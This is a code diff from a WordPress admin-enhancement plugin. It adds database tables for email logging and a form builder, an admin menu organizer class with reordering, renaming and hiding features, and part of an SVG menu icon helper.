$table_name = $wpdb->prefix . 'asenha_email_delivery';
|
||||
|
||||
if ( ! empty( $wpdb->charset ) ) {
|
||||
$charset_collation_sql = "DEFAULT CHARACTER SET $wpdb->charset";
|
||||
}
|
||||
|
||||
if ( ! empty( $wpdb->collate ) ) {
|
||||
$charset_collation_sql .= " COLLATE $wpdb->collate";
|
||||
}
|
||||
|
||||
// Drop table if already exists
|
||||
$wpdb->query("DROP TABLE IF EXISTS `". $table_name ."`");
|
||||
|
||||
// Create database table. This procedure may also be called
|
||||
$sql =
|
||||
"CREATE TABLE {$table_name} (
|
||||
id int(6) unsigned NOT NULL auto_increment,
|
||||
status enum('successful','failed','unknown') NOT NULL DEFAULT 'unknown',
|
||||
error varchar(250) NOT NULL DEFAULT '',
|
||||
subject varchar(250) NOT NULL DEFAULT '',
|
||||
message longtext NOT NULL DEFAULT '',
|
||||
send_to varchar(256) NOT NULL DEFAULT '',
|
||||
sender varchar(256) NOT NULL DEFAULT '',
|
||||
reply_to varchar(256) NOT NULL DEFAULT '',
|
||||
headers text NOT NULL DEFAULT '',
|
||||
content_type text NOT NULL DEFAULT '',
|
||||
attachments text NOT NULL DEFAULT '',
|
||||
backtrace text NOT NULL DEFAULT '',
|
||||
processor text NOT NULL DEFAULT '',
|
||||
sent_on datetime NOT NULL DEFAULT '0000-00-00 00:00:00',
|
||||
sent_on_unixtime int(10) NOT NULL DEFAULT '0',
|
||||
extra longtext NOT NULL DEFAULT '',
|
||||
PRIMARY KEY (id)
|
||||
) {$charset_collation_sql}";
|
||||
|
||||
require_once ABSPATH . '/wp-admin/includes/upgrade.php';
|
||||
|
||||
dbDelta( $sql );
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Create tables for the Form Builder module
|
||||
*
|
||||
* @since 7.8.0
|
||||
*/
|
||||
public function create_form_builder_tables() {
|
||||
global $wpdb;
|
||||
|
||||
if ( ! empty( $wpdb->charset ) ) {
|
||||
$charset_collation_sql = "DEFAULT CHARACTER SET $wpdb->charset";
|
||||
}
|
||||
|
||||
if ( ! empty( $wpdb->collate ) ) {
|
||||
$charset_collation_sql .= " COLLATE $wpdb->collate";
|
||||
}
|
||||
|
||||
require_once ABSPATH . '/wp-admin/includes/upgrade.php';
|
||||
|
||||
$fields_table_name = $wpdb->prefix . 'asenha_formbuilder_fields';
|
||||
$forms_table_name = $wpdb->prefix . 'asenha_formbuilder_forms';
|
||||
$entries_table_name = $wpdb->prefix . 'asenha_formbuilder_entries';
|
||||
$entry_meta_table_name = $wpdb->prefix . 'asenha_formbuilder_entry_meta';
|
||||
|
||||
$sql = "CREATE TABLE {$fields_table_name} (
|
||||
id bigint(20) NOT NULL AUTO_INCREMENT,
|
||||
field_key varchar(100) NULL,
|
||||
name text NULL,
|
||||
description longtext NULL,
|
||||
type text NULL,
|
||||
default_value longtext NULL,
|
||||
options longtext NULL,
|
||||
field_order int(11) DEFAULT 0,
|
||||
required int(1) NULL,
|
||||
field_options longtext NULL,
|
||||
form_id int(11) NULL,
|
||||
created_at datetime NOT NULL,
|
||||
PRIMARY KEY (id),
|
||||
KEY form_id (form_id),
|
||||
UNIQUE KEY field_key (field_key)
|
||||
) {$charset_collation_sql}";
|
||||
|
||||
dbDelta( $sql );
|
||||
|
||||
$sql = "CREATE TABLE {$forms_table_name} (
|
||||
id int(11) NOT NULL AUTO_INCREMENT,
|
||||
form_key varchar(100) NULL,
|
||||
name varchar(255) NULL,
|
||||
description text NULL,
|
||||
status varchar(255) NULL,
|
||||
options longtext NULL,
|
||||
settings longtext NULL,
|
||||
styles longtext NULL,
|
||||
created_at datetime NOT NULL,
|
||||
PRIMARY KEY (id),
|
||||
UNIQUE KEY form_key (form_key)
|
||||
) {$charset_collation_sql}";
|
||||
|
||||
dbDelta( $sql );
|
||||
|
||||
$sql = "CREATE TABLE {$entries_table_name} (
|
||||
id bigint(20) NOT NULL AUTO_INCREMENT,
|
||||
ip text NULL,
|
||||
form_id bigint(20) NULL,
|
||||
user_id bigint(20) NULL,
|
||||
delivery_status tinyint(1) DEFAULT 0,
|
||||
status varchar(255) NULL,
|
||||
created_at datetime NOT NULL,
|
||||
PRIMARY KEY (id),
|
||||
KEY form_id (form_id),
|
||||
KEY user_id (user_id)
|
||||
) {$charset_collation_sql}";
|
||||
|
||||
dbDelta( $sql );
|
||||
|
||||
$sql = "CREATE TABLE {$entry_meta_table_name} (
|
||||
id bigint(20) NOT NULL AUTO_INCREMENT,
|
||||
meta_value longtext NULL,
|
||||
field_id bigint(20) NOT NULL,
|
||||
item_id bigint(20) NOT NULL,
|
||||
created_at datetime NOT NULL,
|
||||
PRIMARY KEY (id),
|
||||
KEY field_id (field_id),
|
||||
KEY item_id (item_id)
|
||||
) {$charset_collation_sql}";
|
||||
|
||||
dbDelta( $sql );
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/**
|
||||
* Part of Disable Embeds module
|
||||
* Remove embeds rewrite rules on plugin activation.
|
||||
*
|
||||
* @link https://plugins.trac.wordpress.org/browser/disable-embeds/tags/1.5.0/disable-embeds.php#L101
|
||||
* @since 8.0.0
|
||||
*/
|
||||
public function disable_embeds_remove_rewrite_rules() {
|
||||
$common_methods = new Common_Methods;
|
||||
add_filter( 'rewrite_rules_array', [ $common_methods, 'disable_embeds_rewrites' ] );
|
||||
flush_rewrite_rules( false );
|
||||
}
|
||||
|
||||
/**
|
||||
* Deferred flush for the Disable Embeds module.
|
||||
* Runs on init (late priority) so all CPTs/taxonomies are already registered.
|
||||
*
|
||||
* @since 8.5.1
|
||||
*/
|
||||
public function maybe_flush_disable_embeds_rewrite_rules() {
|
||||
$options = get_option( ASENHA_SLUG_U );
|
||||
|
||||
if ( ! is_array( $options ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ( isset( $options['disable_embeds_flush_rewrite_rules_needed'] )
|
||||
&& true === $options['disable_embeds_flush_rewrite_rules_needed']
|
||||
) {
|
||||
$common_methods = new Common_Methods;
|
||||
add_filter( 'rewrite_rules_array', [ $common_methods, 'disable_embeds_rewrites' ] );
|
||||
flush_rewrite_rules( false );
|
||||
|
||||
$options['disable_embeds_flush_rewrite_rules_needed'] = false;
|
||||
update_option( ASENHA_SLUG_U, $options, true );
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,510 @@
|
||||
<?php
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
/**
|
||||
* Class for Admin Menu Organizer module
|
||||
*
|
||||
* @since 6.9.5
|
||||
*/
|
||||
class Admin_Menu_Organizer {
|
||||
/**
|
||||
* Make the "Collapse Menu" toggler sticky at the bottom of the admin menu
|
||||
*
|
||||
* @since 8.2.3
|
||||
*/
|
||||
public function make_collapse_menu_item_sticky() {
|
||||
?>
|
||||
<style>
|
||||
#adminmenu #collapse-menu {
|
||||
position: sticky;
|
||||
bottom: 0;
|
||||
background: #1d2327;
|
||||
z-index: 100;
|
||||
box-shadow: 0 -2px 5px rgba(0, 0, 0, 0.2);
|
||||
border-top: 1px solid #3c4349;
|
||||
}
|
||||
#adminmenuwrap {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
height: 100%;
|
||||
}
|
||||
#adminmenu {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
flex: 1;
|
||||
margin: 12px 0 0;
|
||||
}
|
||||
.folded #adminmenu #collapse-menu {
|
||||
position: sticky;
|
||||
bottom: 0;
|
||||
background: #1d2327;
|
||||
}
|
||||
</style>
|
||||
<?php
|
||||
}
|
||||
|
||||
/**
|
||||
* Add Admin Menu item under Settings menu
|
||||
*
|
||||
* @since 7.8.5
|
||||
*/
|
||||
public function add_menu_item() {
|
||||
add_submenu_page(
|
||||
'options-general.php',
|
||||
// Parent page/menu
|
||||
__( 'Admin Menu Settings', 'admin-site-enhancements' ),
|
||||
// Browser tab/window title
|
||||
__( 'Admin Menu', 'admin-site-enhancements' ),
|
||||
// Sube menu title
|
||||
'manage_options',
|
||||
// Minimal user capabililty
|
||||
'admin-menu-organizer',
|
||||
// Page slug. Shows up in URL.
|
||||
array($this, 'add_admin_menu_settings_page')
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Create settings page for Admin Menu
|
||||
*
|
||||
* @since 7.8.5
|
||||
*/
|
||||
public function add_admin_menu_settings_page() {
|
||||
$render_field = new Settings_Fields_Render();
|
||||
?>
|
||||
<div class="wrap admin-menu-organizer">
|
||||
<h1 class="wp-heading-inline"><?php
|
||||
echo __( 'Admin Menu Organizer', 'admin-site-enhancements' );
|
||||
?></h1>
|
||||
<div class="admin-menu-organizer-main">
|
||||
<div class="admin-menu-sortables-wrapper">
|
||||
<?php
|
||||
$render_field->render_sortable_menu();
|
||||
?>
|
||||
</div>
|
||||
<div class="admin-menu-actions">
|
||||
<button id="amo-save-changes" class="button button-primary button-large"><?php
|
||||
echo __( 'Save Changes', 'admin-site-enhancements' );
|
||||
?></button>
|
||||
<div class="asenha-saving-changes" style="display:none;"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><path fill="#2271b1" d="M12,1A11,11,0,1,0,23,12,11,11,0,0,0,12,1Zm0,19a8,8,0,1,1,8-8A8,8,0,0,1,12,20Z" opacity=".25"/><path fill="#2271b1" d="M12,4a8,8,0,0,1,7.89,6.7A1.53,1.53,0,0,0,21.38,12h0a1.5,1.5,0,0,0,1.48-1.75,11,11,0,0,0-21.72,0A1.5,1.5,0,0,0,2.62,12h0a1.53,1.53,0,0,0,1.49-1.3A8,8,0,0,1,12,4Z"><animateTransform attributeName="transform" dur="0.75s" repeatCount="indefinite" type="rotate" values="0 12 12;360 12 12"/></path></svg></div>
|
||||
<div class="asenha-changes-saved" style="display:none;"><svg xmlns="http://www.w3.org/2000/svg" width="28" height="28" viewBox="0 0 24 24"><path fill="seagreen" d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10s10-4.48 10-10S17.52 2 12 2zM9.29 16.29L5.7 12.7a.996.996 0 1 1 1.41-1.41L10 14.17l6.88-6.88a.996.996 0 1 1 1.41 1.41l-7.59 7.59a.996.996 0 0 1-1.41 0z"/></svg></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<?php
|
||||
}
|
||||
|
||||
/**
|
||||
* Render custom menu order
|
||||
*
|
||||
* @param $menu_order array an ordered array of menu items
|
||||
* @link https://developer.wordpress.org/reference/hooks/menu_order/
|
||||
* @since 2.0.0
|
||||
*/
|
||||
public function render_custom_menu_order( $menu_order ) {
|
||||
global $menu;
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
|
||||
// Get deleted built-in separators
|
||||
$deleted_separators = ( isset( $options['custom_menu_deleted_separators'] ) ? $options['custom_menu_deleted_separators'] : '' );
|
||||
$deleted_separators_array = array();
|
||||
if ( is_string( $deleted_separators ) && !empty( $deleted_separators ) ) {
|
||||
$deleted_separators_array = json_decode( $deleted_separators, true );
|
||||
if ( !is_array( $deleted_separators_array ) ) {
|
||||
$deleted_separators_array = array();
|
||||
}
|
||||
}
|
||||
$common_methods = new Common_Methods();
|
||||
// Get current menu order. We're not using the default $menu_order which uses index.php, edit.php as array values.
|
||||
$current_menu_order = array();
|
||||
foreach ( $menu as $menu_key => $menu_info ) {
|
||||
if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
|
||||
$menu_item_id = $menu_info[2];
|
||||
// Skip deleted built-in separators; Pro distinguishes ASE additional-separator rows.
|
||||
$skip_deleted_separator = in_array( $menu_item_id, $deleted_separators_array, true );
|
||||
if ( $skip_deleted_separator ) {
|
||||
continue;
|
||||
}
|
||||
} else {
|
||||
$menu_item_id = $menu_info[5];
|
||||
}
|
||||
$current_menu_order[] = array($menu_item_id, $menu_info[2]);
|
||||
}
|
||||
// Get custom menu order
|
||||
$custom_menu_order = $options['custom_menu_order'];
|
||||
// comma separated
|
||||
$custom_menu_order = explode( ",", $custom_menu_order );
|
||||
// array of menu ID, e.g. menu-dashboard
|
||||
// Return menu order for rendering
|
||||
$rendered_menu_order = array();
|
||||
// Render menu based on items saved in custom menu order
|
||||
foreach ( $custom_menu_order as $custom_menu_item_id ) {
|
||||
foreach ( $current_menu_order as $current_menu_item_id => $current_menu_item ) {
|
||||
// Standard comparison using menu ID from position [5]
|
||||
if ( $custom_menu_item_id == $current_menu_item[0] ) {
|
||||
$rendered_menu_order[] = $current_menu_item[1];
|
||||
} elseif ( $custom_menu_item_id == $current_menu_item[1] ) {
|
||||
$rendered_menu_order[] = $current_menu_item[1];
|
||||
}
|
||||
}
|
||||
}
|
||||
// Add items from current menu not already part of custom menu order, e.g. new plugin activated and adds new menu item
|
||||
foreach ( $current_menu_order as $current_menu_item_id => $current_menu_item ) {
|
||||
// Check both menu ID and slug to prevent duplicate entries for custom menus
|
||||
if ( !in_array( $current_menu_item[0], $custom_menu_order ) && !in_array( $current_menu_item[1], $custom_menu_order ) ) {
|
||||
$rendered_menu_order[] = $current_menu_item[1];
|
||||
}
|
||||
}
|
||||
return $rendered_menu_order;
|
||||
}
|
||||
|
||||
/**
|
||||
* Apply custom menu item titles
|
||||
*
|
||||
* @since 2.9.0
|
||||
*/
|
||||
public function apply_custom_menu_item_titles() {
|
||||
global $menu;
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
|
||||
// Get custom menu item titles
|
||||
$custom_menu_titles = $options['custom_menu_titles'];
|
||||
$custom_menu_titles = explode( ',', $custom_menu_titles );
|
||||
foreach ( $menu as $menu_key => $menu_info ) {
|
||||
// Determine menu item ID
|
||||
if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
|
||||
$menu_item_id = $menu_info[2];
|
||||
} else {
|
||||
// Check if this is a custom menu item (for pro version)
|
||||
$is_custom_menu = false;
|
||||
// For custom menus, use slug; for regular menus, use CSS ID
|
||||
if ( $is_custom_menu ) {
|
||||
$menu_item_id = $menu_info[2];
|
||||
// Use slug for custom menus
|
||||
} else {
|
||||
$menu_item_id = $menu_info[5];
|
||||
// Use CSS ID for regular menus
|
||||
}
|
||||
}
|
||||
// Get defaul/custom menu item title
|
||||
foreach ( $custom_menu_titles as $custom_menu_title ) {
|
||||
// At this point, $custom_menu_title value looks like toplevel_page_snippets__Code Snippets
|
||||
$custom_menu_title = explode( '__', $custom_menu_title );
|
||||
if ( $custom_menu_title[0] == $menu_item_id ) {
|
||||
$menu_item_title = $custom_menu_title[1];
|
||||
// e.g. Code Snippets
|
||||
break;
|
||||
// stop foreach loop so $menu_item_title is not overwritten in the next iteration
|
||||
} else {
|
||||
$menu_item_title = $menu_info[0];
|
||||
}
|
||||
}
|
||||
$menu[$menu_key][0] = $menu_item_title;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Apply custom menu item titles
|
||||
*
|
||||
* @since 7.9.7
|
||||
*/
|
||||
public function apply_custom_title_for_posts_menu() {
|
||||
global $wp_post_types;
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$admin_menu_options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
|
||||
// $admin_menu_organizer = new ASENHA\Classes\Admin_Menu_Organizer();
|
||||
// For 'Posts' menu, if the title has been changed, try changing the labels for it everywhere
|
||||
$custom_menu_titles = explode( ',', $admin_menu_options['custom_menu_titles'] );
|
||||
foreach ( $custom_menu_titles as $custom_menu_title ) {
|
||||
if ( false !== strpos( $custom_menu_title, 'menu-posts__' ) ) {
|
||||
$custom_menu_title = explode( '__', $custom_menu_title );
|
||||
$posts_custom_title = $custom_menu_title[1];
|
||||
$posts_default_title = __( 'Posts', 'admin-site-enhancements' );
|
||||
if ( is_array( $wp_post_types ) ) {
|
||||
if ( isset( $wp_post_types['post'] ) && property_exists( $wp_post_types['post'], 'label' ) ) {
|
||||
$posts_default_title = $wp_post_types['post']->label;
|
||||
}
|
||||
}
|
||||
if ( $posts_default_title != $posts_custom_title ) {
|
||||
add_filter( 'post_type_labels_post', [$this, 'change_post_labels'] );
|
||||
add_action( 'init', [$this, 'change_post_object_label'] );
|
||||
add_action( 'admin_menu', [$this, 'change_post_menu_label'], PHP_INT_MAX );
|
||||
add_action( 'admin_bar_menu', [$this, 'change_wp_admin_bar'], 80 );
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get custom title for 'Posts' menu item
|
||||
*
|
||||
* @since 6.9.13
|
||||
*/
|
||||
public function get_posts_custom_title() {
|
||||
$post_object = get_post_type_object( 'post' );
|
||||
// object
|
||||
$posts_default_title = '';
|
||||
if ( is_object( $post_object ) ) {
|
||||
if ( property_exists( $post_object, 'label' ) ) {
|
||||
$posts_default_title = $post_object->label;
|
||||
} else {
|
||||
$posts_default_title = $post_object->labels->name;
|
||||
}
|
||||
}
|
||||
$posts_custom_title = $posts_default_title;
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
|
||||
$custom_menu_titles = ( isset( $options['custom_menu_titles'] ) ? explode( ',', $options['custom_menu_titles'] ) : array() );
|
||||
if ( !empty( $custom_menu_titles ) ) {
|
||||
foreach ( $custom_menu_titles as $custom_menu_title ) {
|
||||
if ( false !== strpos( $custom_menu_title, 'menu-posts__' ) ) {
|
||||
$custom_menu_title = explode( '__', $custom_menu_title );
|
||||
$posts_custom_title = $custom_menu_title[1];
|
||||
}
|
||||
}
|
||||
}
|
||||
return $posts_custom_title;
|
||||
}
|
||||
|
||||
/**
|
||||
* For 'Posts', apply custom label
|
||||
*
|
||||
* @link https://developer.wordpress.org/reference/hooks/post_type_labels_post_type/
|
||||
* @since 6.9.13
|
||||
*/
|
||||
public function change_post_labels( $labels ) {
|
||||
$post_object = get_post_type_object( 'post' );
|
||||
// object
|
||||
$posts_default_title_plural = '';
|
||||
if ( is_object( $post_object ) ) {
|
||||
if ( property_exists( $post_object, 'label' ) ) {
|
||||
$posts_default_title_plural = $post_object->label;
|
||||
} else {
|
||||
$posts_default_title_plural = $post_object->labels->name;
|
||||
}
|
||||
$posts_default_title_singular = $post_object->labels->singular_name;
|
||||
$posts_custom_title = $this->get_posts_custom_title();
|
||||
foreach ( $labels as $key => $label ) {
|
||||
if ( null === $label ) {
|
||||
continue;
|
||||
}
|
||||
$labels->{$key} = str_replace( [$posts_default_title_plural, $posts_default_title_singular], $posts_custom_title, $label );
|
||||
}
|
||||
}
|
||||
return $labels;
|
||||
}
|
||||
|
||||
/**
|
||||
* For 'Posts', apply custom label in post object
|
||||
*
|
||||
* @since 6.9.12
|
||||
*/
|
||||
public function change_post_object_label() {
|
||||
global $wp_post_types;
|
||||
$posts_custom_title = $this->get_posts_custom_title();
|
||||
$labels =& $wp_post_types['post']->labels;
|
||||
$labels->name = $posts_custom_title;
|
||||
$labels->singular_name = $posts_custom_title;
|
||||
$labels->all_items = sprintf(
|
||||
/* translators: %s is post type or taxonomy label */
|
||||
__( 'All %s', 'admin-site-enhancements' ),
|
||||
$posts_custom_title
|
||||
);
|
||||
$labels->add_new = __( 'Add New', 'admin-site-enhancements' );
|
||||
$labels->add_new_item = __( 'Add New', 'admin-site-enhancements' );
|
||||
$labels->edit_item = __( 'Edit', 'admin-site-enhancements' );
|
||||
$labels->new_item = $posts_custom_title;
|
||||
$labels->view_item = __( 'View', 'admin-site-enhancements' );
|
||||
$labels->search_items = sprintf(
|
||||
/* translators: %s is post type or taxonomy label */
|
||||
__( 'Search %s', 'admin-site-enhancements' ),
|
||||
$posts_custom_title
|
||||
);
|
||||
$labels->not_found = sprintf(
|
||||
/* translators: %s is the post type label */
|
||||
__( 'No %s found', 'admin-site-enhancements' ),
|
||||
strtolower( $posts_custom_title )
|
||||
);
|
||||
$labels->not_found_in_trash = sprintf(
|
||||
/* translators: %s is the post type label */
|
||||
__( 'No %s found in Trash', 'admin-site-enhancements' ),
|
||||
strtolower( $posts_custom_title )
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* For 'Posts', apply custom label in menu and submenu
|
||||
*
|
||||
* @since 6.9.12
|
||||
*/
|
||||
public function change_post_menu_label() {
|
||||
global $submenu;
|
||||
$posts_custom_title = $this->get_posts_custom_title();
|
||||
if ( !empty( $posts_custom_title ) ) {
|
||||
$submenu['edit.php'][5][0] = sprintf(
|
||||
/* translators: %s is post type or taxonomy label */
|
||||
__( 'All %s', 'admin-site-enhancements' ),
|
||||
$posts_custom_title
|
||||
);
|
||||
} else {
|
||||
$submenu['edit.php'][5][0] = sprintf(
|
||||
/* translators: %s is post type or taxonomy label */
|
||||
__( 'All %s', 'admin-site-enhancements' ),
|
||||
$posts_default_title
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* For 'Posts', apply custom label in admin bar
|
||||
*
|
||||
* @since 6.9.12
|
||||
*/
|
||||
public function change_wp_admin_bar( $wp_admin_bar ) {
|
||||
$posts_custom_title = $this->get_posts_custom_title();
|
||||
$new_post_node = $wp_admin_bar->get_node( 'new-post' );
|
||||
if ( $new_post_node ) {
|
||||
$new_post_node->title = $posts_custom_title;
|
||||
$wp_admin_bar->add_node( $new_post_node );
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Hide parent menu items by adding class(es) to hide them
|
||||
*
|
||||
* @since 2.0.0
|
||||
*/
|
||||
public function hide_menu_items() {
|
||||
global $menu;
|
||||
$common_methods = new Common_Methods();
|
||||
$menu_hidden_by_toggle = $common_methods->get_menu_hidden_by_toggle();
|
||||
// indexed array
|
||||
foreach ( $menu as $menu_key => $menu_info ) {
|
||||
if ( false !== strpos( $menu_info[4], 'wp-menu-separator' ) ) {
|
||||
$menu_item_id = $menu_info[2];
|
||||
} else {
|
||||
$menu_item_id = $menu_info[5];
|
||||
}
|
||||
// Append 'hidden' class to hide menu item until toggled
|
||||
if ( in_array( $menu_item_id, $menu_hidden_by_toggle ) ) {
|
||||
$menu[$menu_key][4] = $menu_info[4] . ' hidden asenha_hidden_menu';
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Add toggle to show hidden menu items
|
||||
*
|
||||
* @since 2.0.0
|
||||
*/
|
||||
public function add_hidden_menu_toggle() {
|
||||
global $current_user;
|
||||
// Get menu items hidden by toggle
|
||||
$common_methods = new Common_Methods();
|
||||
$menu_hidden_by_toggle = $common_methods->get_menu_hidden_by_toggle();
|
||||
$submenu_hidden_by_toggle = array();
|
||||
// Get user capabilities the "Show All/Less" toggle should be shown for
|
||||
$user_capabilities_to_show_menu_toggle_for = $common_methods->get_user_capabilities_to_show_menu_toggle_for();
|
||||
// Get current user's capabilities from the user's role(s)
|
||||
$current_user_capabilities = '';
|
||||
$current_user_roles = $current_user->roles;
|
||||
// indexed array of role slugs
|
||||
foreach ( $current_user_roles as $current_user_role ) {
|
||||
$current_user_role_capabilities = get_role( $current_user_role )->capabilities;
|
||||
if ( is_array( $current_user_role_capabilities ) ) {
|
||||
$current_user_role_capabilities = array_keys( $current_user_role_capabilities );
|
||||
// indexed array
|
||||
$current_user_role_capabilities = implode( ",", $current_user_role_capabilities );
|
||||
$current_user_capabilities .= ',' . $current_user_role_capabilities;
|
||||
}
|
||||
}
|
||||
// Maybe show "Show All/Less" toggle
|
||||
$show_toggle_menu = false;
|
||||
if ( !empty( $current_user_capabilities ) ) {
|
||||
$current_user_capabilities = array_unique( explode( ",", $current_user_capabilities ) );
|
||||
foreach ( $user_capabilities_to_show_menu_toggle_for as $user_capability_to_show_menu_toggle_for ) {
|
||||
if ( in_array( $user_capability_to_show_menu_toggle_for, $current_user_capabilities ) ) {
|
||||
$show_toggle_menu = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
if ( (!empty( $menu_hidden_by_toggle ) || !empty( $submenu_hidden_by_toggle )) && $show_toggle_menu ) {
|
||||
add_menu_page(
|
||||
__( 'Show All', 'admin-site-enhancements' ),
|
||||
__( 'Show All', 'admin-site-enhancements' ),
|
||||
'read',
|
||||
'asenha_show_hidden_menu',
|
||||
function () {
|
||||
return false;
|
||||
},
|
||||
"dashicons-arrow-down-alt2",
|
||||
300
|
||||
);
|
||||
add_menu_page(
|
||||
__( 'Show Less', 'admin-site-enhancements' ),
|
||||
__( 'Show Less', 'admin-site-enhancements' ),
|
||||
'read',
|
||||
'asenha_hide_hidden_menu',
|
||||
function () {
|
||||
return false;
|
||||
},
|
||||
"dashicons-arrow-up-alt2",
|
||||
301
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Script to toggle hidden menu itesm
|
||||
*
|
||||
* @since 2.0.0
|
||||
*/
|
||||
public function enqueue_toggle_hidden_menu_script() {
|
||||
// Get menu items hidden by toggle
|
||||
$common_methods = new Common_Methods();
|
||||
$menu_hidden_by_toggle = $common_methods->get_menu_hidden_by_toggle();
|
||||
$submenu_hidden_by_toggle = array();
|
||||
if ( !empty( $menu_hidden_by_toggle ) || !empty( $submenu_hidden_by_toggle ) ) {
|
||||
// Script to set behaviour and actions of the sortable menu
|
||||
wp_enqueue_script(
|
||||
'asenha-toggle-hidden-menu',
|
||||
ASENHA_URL . 'assets/js/toggle-hidden-menu.js',
|
||||
array(),
|
||||
ASENHA_VERSION,
|
||||
false
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Save admin menu via AJAX
|
||||
*
|
||||
* @since 6.3.1
|
||||
*/
|
||||
public function save_admin_menu() {
|
||||
if ( isset( $_REQUEST ) ) {
|
||||
if ( check_ajax_referer( 'save-menu-nonce', 'nonce', false ) ) {
|
||||
if ( !current_user_can( 'manage_options' ) ) {
|
||||
wp_send_json_error( array(
|
||||
'message' => __( 'You do not have permission to perform this action.', 'admin-site-enhancements' ),
|
||||
) );
|
||||
}
|
||||
$options_extra = get_option( ASENHA_SLUG_U . '_extra', array() );
|
||||
$options = ( isset( $options_extra['admin_menu'] ) ? $options_extra['admin_menu'] : array() );
|
||||
$options['custom_menu_order'] = ( isset( $_REQUEST['custom_menu_order'] ) ? wp_unslash( $_REQUEST['custom_menu_order'] ) : $options['custom_menu_order'] );
|
||||
$options['custom_menu_titles'] = ( isset( $_REQUEST['custom_menu_titles'] ) ? wp_unslash( $_REQUEST['custom_menu_titles'] ) : $options['custom_menu_titles'] );
|
||||
$options['custom_menu_hidden'] = ( isset( $_REQUEST['custom_menu_hidden'] ) ? wp_unslash( $_REQUEST['custom_menu_hidden'] ) : $options['custom_menu_hidden'] );
|
||||
$options_extra['admin_menu'] = $options;
|
||||
// vi( $options_extra, '', 'save menu' );
|
||||
$updated = update_option( ASENHA_SLUG_U . '_extra', $options_extra, true );
|
||||
wp_send_json_success( array(
|
||||
'status' => ( $updated ? 'success' : 'unchanged' ),
|
||||
'updated' => (bool) $updated,
|
||||
) );
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
+235
@@ -0,0 +1,235 @@
|
||||
<?php
|
||||
/**
|
||||
* Shared helper for rendering SVG admin menu icons with correct colors on first paint.
|
||||
*
|
||||
* WordPress renders `menu_icon` SVG data URIs as <img> initially, and then core's
|
||||
* `svg-painter` inlines/recolors them, causing a visible "black → scheme color" flash.
|
||||
* This helper pre-empts that by forcing WordPress to use the `.wp-menu-image:before`
|
||||
* pseudo-element (via a Dashicon placeholder) and then applying the SVG as a CSS mask.
|
||||
*
|
||||
* @since 7.6.0
|
||||
*/
|
||||
|
||||
namespace ASENHA\Classes;
|
||||
|
||||
class Admin_Menu_Svg_Icon_Mask {
|
||||
|
||||
/**
|
||||
* Registered SVG data URIs keyed by post type key.
|
||||
*
|
||||
* @since 7.6.0
|
||||
* @var array<string,string>
|
||||
*/
|
||||
private static $post_type_svgs = array();
|
||||
|
||||
/**
|
||||
* Registered SVG data URIs keyed by top-level menu slug (from add_menu_page()).
|
||||
*
|
||||
* @since 7.6.0
|
||||
* @var array<string,string>
|
||||
*/
|
||||
private static $toplevel_menu_slug_svgs = array();
|
||||
|
||||
/**
|
||||
* Registered SVG data URIs keyed by a substring to match against `href`.
|
||||
*
|
||||
* This is useful for menu slugs that are full URLs/queries (e.g. `post.php?post=123&action=edit`).
|
||||
*
|
||||
* @since 7.6.0
|
||||
* @var array<string,string>
|
||||
*/
|
||||
private static $href_contains_svgs = array();
|
||||
|
||||
/**
|
||||
* Check whether a string is an SVG data URI that WordPress would render as an <img>.
|
||||
*
|
||||
* @since 7.6.0
|
||||
*
|
||||
* @param mixed $value Potential menu icon.
|
||||
* @return bool
|
||||
*/
|
||||
public static function is_svg_data_uri( $value ) {
|
||||
return is_string( $value ) && ( 0 === strpos( $value, 'data:image/svg+xml' ) );
|
||||
}
|
||||
|
||||
/**
|
||||
* Register an SVG icon for a post type's admin menu entry.
|
||||
*
|
||||
* @since 7.6.0
|
||||
*
|
||||
* @param string $post_type Post type key.
|
||||
* @param string $svg_data_uri SVG data URI.
|
||||
* @return void
|
||||
*/
|
||||
public static function register_post_type_svg_icon( $post_type, $svg_data_uri ) {
|
||||
$post_type = sanitize_key( (string) $post_type );
|
||||
$svg_data_uri = trim( (string) $svg_data_uri );
|
||||
|
||||
if ( '' === $post_type || '' === $svg_data_uri ) {
|
||||
return;
|
||||
}
|
||||
|
||||
if ( ! self::is_svg_data_uri( $svg_data_uri ) ) {
|
||||
return;
|
||||
}
|
||||
|
||||
self::$post_type_svgs[ $post_type ] = $svg_data_uri;
|
||||
}
|
||||
|
||||
/**
|
||||
* Register an SVG icon for a top-level menu entry created by add_menu_page().
|
||||
*
|
||||
